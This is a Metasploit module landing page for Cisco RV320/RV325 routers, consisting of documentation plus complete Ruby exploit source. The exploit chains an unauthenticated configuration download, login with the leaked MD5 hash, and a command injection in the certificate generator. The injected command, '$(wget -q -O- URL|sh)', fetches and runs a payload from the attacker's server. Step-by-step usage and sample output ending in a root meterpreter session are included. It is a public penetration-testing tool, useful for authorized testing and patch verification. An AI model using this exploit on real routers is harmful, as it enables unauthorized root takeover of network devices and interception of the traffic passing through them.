Land #11482, RV320 Unauthenticated RCE
Brent Cook
Metasploit
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## Intro
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This module automatically exploits two vulnerabilities to create an effectively
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unauthenticated remote code execution on RV320 and RV325 routers.
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The module will perform the following steps:
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First the module will download the configuration. Then it will extract the MD5
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password hash for the web interface user. The MD5 password hash is directly
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accepted during login instead of the plain text password. With the MD5 hash the
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module will authenticate to the web interface of the router and get a valid
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authentication cookie.
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The second step is using the authentication cookie to
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send an authenticated request to the web interface which exploits a command
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injection vulnerability. The injection is limited to ~50 characters. Therefore,
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the module uses a web server to stage a shell payload for the MIPS64
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architecture of the router. Depending on the payload the module will result in
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a shell or meterpreter session.
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## Vulnerable Application:
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Cisco Small Business Routers RV320 and RV325 with firmware versions between
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1.4.2.15 and 14.2.20.
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Link to vulnerable Firmware Version:
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https://software.cisco.com/download/home/284005929/type/282465789/release/1.4.2.20?i=!pp
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Links to Advisories:
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Part 1 of the exploit (configuration download):
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https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
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Part 2 of the exploit (command injection in web interface):
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https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection
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Advisories by vendor:
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https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
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https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
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## Options
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**RHOSTS**
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Configure the remote vulnerable system.
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**RPORT**
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Configure the TCP port of the HTTP/HTTPS management web interface.
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**USE_SSL**
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This flag controls whether the remote management web interface is accessible
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via HTTPS or not. Should be false for HTTP and true for HTTPS.
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**PAYLOAD**
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Configure the Metasploit payload that you want to stage. Must be for MIPS64
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arch. Set payload Options accordingly.
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**SRVHOST**
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The module stages the payload via a web server. This is the binding interface
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IP. Default can be set to 0.0.0.0.
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**HTTPDelay**
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This configures how long the module should wait for the incoming HTTP
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connection to the HTTP stager.
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## Verification Steps:
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1. Have exploitable RV320 or RV325 router (exampe IP: 192.168.1.1):
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2. Start `msfconsole`:
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3. Do: ```use exploit/linux/http/cisco_rv32x_rce```
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4. Do: ```set RHOSTS 192.168.1.1```
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5. Do: ```set payload linux/mips64/meterpreter_reverse_tcp``` (Set the MIPS64 payload you want to use)
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6. Do: ```set LHOST 192.168.1.2``` (Setting your own IP here, example: 192.168.1.2)
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7. Do: ```set RPORT 8007``` (Set the remote Port on which the router web interface is accessible)
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8. Do: ```run```
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9. Gives you a privileged (uid=0) shell or in the example a meterpreter session.
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## Scenario
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Exploiting a vulnerable RV320 router with publicly accessible HTTPS web
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interface on TCP port 443:
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```
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msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1
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msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp
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msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2
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msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443
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msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true
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msf5 exploit(linux/http/cisco_rv32x_rce) > run
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```
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Demo example output for the module:
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```
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msf5 > use exploit/linux/http/cisco_rv32x_rce
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msf5 exploit(linux/http/cisco_rv32x_rce) > show options
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Module options (exploit/linux/http/cisco_rv32x_rce):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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HTTPDELAY 15 yes Time that the HTTP Server will wait for the payload request
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Proxies no A proxy chain of format type:host:port[,type:host:port][...]
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RHOSTS yes The target address range or CIDR identifier
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RPORT 8007 yes The target port (TCP)
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SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
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SRVPORT 8080 yes The local port to listen on.
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URIPATH / yes The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)
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USE_SSL false no Negotiate SSL/TLS for outgoing connections
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VHOST no HTTP server virtual host
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Exploit target:
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Id Name
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-- ----
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0 LINUX MIPS64
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msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1
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RHOSTS => 192.168.1.1
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msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp
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payload => linux/mips64/meterpreter_reverse_tcp
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msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2
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LHOST => 192.168.1.2
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msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443
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RPORT => 443
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msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true
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USE_SSL => true
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msf5 exploit(linux/http/cisco_rv32x_rce) > run
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[*] Started reverse TCP handler on 192.168.1.2:4444
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[*] Using URL: http://0.0.0.0:8080/
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[*] Local IP: http://192.168.1.2:8080/
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[*] Server started.
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[*] Downloading configuration from 192.168.1.1:443
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[*] Using SSL connection to router.
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[*] Successfully downloaded config
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[*] Got MD5-Hash: dfead10390e560aea745ccba53e044ed
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[*] Loging in as user cisco using password hash.
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[*] Using default auth_key 1964300002
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[*] Successfully logged in as user cisco.
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[*] Got cookies: mlap=RGVmYXVsdDE6Ojo6Y2lzY28=;
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[*] Sending payload. Staging via http://192.168.1.2:8080/.
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[*] 192.168.1.1:443 - Payload request received: /
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[*] Waiting for stager connection timed out. Try increasing the delay.
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[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:48580) at 2019-03-14 10:00:00 +0100
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[*] Server stopped.
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meterpreter > getuid
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Server username: uid=0, gid=99, euid=0, egid=99
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::CmdStager
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def initialize(info={})
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super(update_info(info,
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'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
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'Description' => %q{
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This exploit module combines an information disclosure (CVE-2019-1653)
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and a command injection vulnerability (CVE-2019-1652) together to gain
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unauthenticated remote code execution on Cisco RV320 and RV325 small business
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routers. Can be exploited via the WAN interface of the router. Either via HTTPS
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on port 443 or HTTP on port 8007 on some older firmware versions.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'RedTeam Pentesting GmbH', # Discovery, Metasploit
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'Philip Huppert', # Discovery
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'Benjamin Grap' # Metasploit
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],
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'References' => [
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[ 'CVE','2019-1653' ],
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[ 'CVE','2019-1652' ],
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[ 'EDB','46243' ],
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[ 'BID','106728' ],
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[ 'BID','106732' ],
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[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
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[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
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],
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'Platform' => 'linux',
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'Targets' =>
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[
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[ 'LINUX MIPS64',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_MIPS64
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}
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]
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],
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'Payload' =>
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{
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'BadChars' => ""
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},
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'CmdStagerFlavor' => [ 'bourne' ],
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'Privileged' => true,
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'DisclosureDate' => "Sep 9 2018",
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'DefaultTarget' => 0))
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register_options([
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Opt::RPORT(8007), # port of Cisco webinterface
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OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
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OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
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OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
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])
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deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
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deregister_options('SSLCert') # not required since stager only uses HTTP.
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end
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def execute_command(cmd, opts = {})
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# use generated payload, we don't have to do anything here
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end
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def autofilter
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true
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end
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def on_request_uri(cli, req)
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print_status("#{peer} - Payload request received: #{req.uri}")
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@cmdstager = generate_cmdstager().join(';')
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send_response(cli, "#{@cmdstager}")
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end
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def primer
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payload_url = get_uri
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print_status("Downloading configuration from #{peer}")
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if(datastore['USE_SSL'])
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print_status("Using SSL connection to router.")
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end
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res = send_request_cgi({
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'uri' => normalize_uri("cgi-bin","config.exp"),
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'SSL' => datastore['USE_SSL']
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})
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unless res
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vprint_error('Connection failed.')
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return nil
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end
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unless res.code == 200
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vprint_error('Could not download config. Aborting.')
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return nil
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end
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print_status("Successfully downloaded config")
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username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
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pass = res.body.match(/^PASSWD=(\h+)/)[1]
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authkey = "1964300002"
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print_status("Got MD5-Hash: #{pass}")
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print_status("Loging in as user #{username} using password hash.")
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print_status("Using default auth_key #{authkey}")
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res2 = send_request_cgi({
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'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
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'SSL' => datastore['USE_SSL'],
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'method' => 'POST',
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'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password="
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})
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unless res
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vprint_error('Connection failed during login. Aborting.')
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return nil
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end
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unless res.code == 200
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vprint_error('Login failed with downloaded credentials. Aborting.')
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return nil
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end
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#Extract authentication cookies
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cookies = res2.get_cookies()
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print_status("Successfully logged in as user #{username}.")
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print_status("Got cookies: #{cookies}")
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print_status("Sending payload. Staging via #{payload_url}.")
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#Build staging command
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command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
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if(command_string.length <= 63)
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print_status("Staging command length looks good. Sending exploit!")
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else
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vprint_error("Warning: Staging command length probably too long. Trying anyway...")
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end
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res3 = send_request_cgi({
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'uri' => normalize_uri("certificate_handle2.htm"),
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'SSL' => datastore['USE_SSL'],
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'method' => 'POST',
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'cookie' => cookies,
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'vars_get' => {
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'type' => '4',
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},
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'vars_post' => {
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'page' => 'self_generator.htm',
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'totalRules' => '1',
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'OpenVPNRules' => '30',
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'submitStatus' => '1',
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'log_ch' => '1',
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'type' => '4',
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'Country' => 'A',
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'state' => 'A',
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'locality' => 'A',
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'organization' => 'A',
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'organization_unit' => 'A',
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'email' => 'any@example.com',
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'KeySize' => '512',
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'KeyLength' => '1024',
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'valid_days' => '30',
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'SelectSubject_c' => '1',
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'SelectSubject_s' => '1'
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},
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'data' => "common_name=#{command_string}"
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})
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unless res3
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vprint_error('Connection failed while sending command. Aborting.')
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return nil
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end
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unless res3.code == 200
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vprint_error('Sending command not successful.')
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return nil
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end
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print_status("Sending payload timed out. Waiting for stager to connect...")
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end
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def check
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#Check if device is vulnerable by downloading the config
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res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})
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unless res
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vprint_error('Connection failed.')
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return CheckCode::Unknown
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end
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unless res.code == 200
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return CheckCode::Safe
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end
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unless res.body =~ /PASSWD/
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return CheckCode::Detected
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end
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CheckCode::Vulnerable
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end
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def exploit
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# Main function.
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# Setting delay for the Stager.
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Timeout.timeout(datastore['HTTPDELAY']) {super}
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rescue Timeout::Error
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print_status("Waiting for stager connection timed out. Try increasing the delay.")
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end
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end
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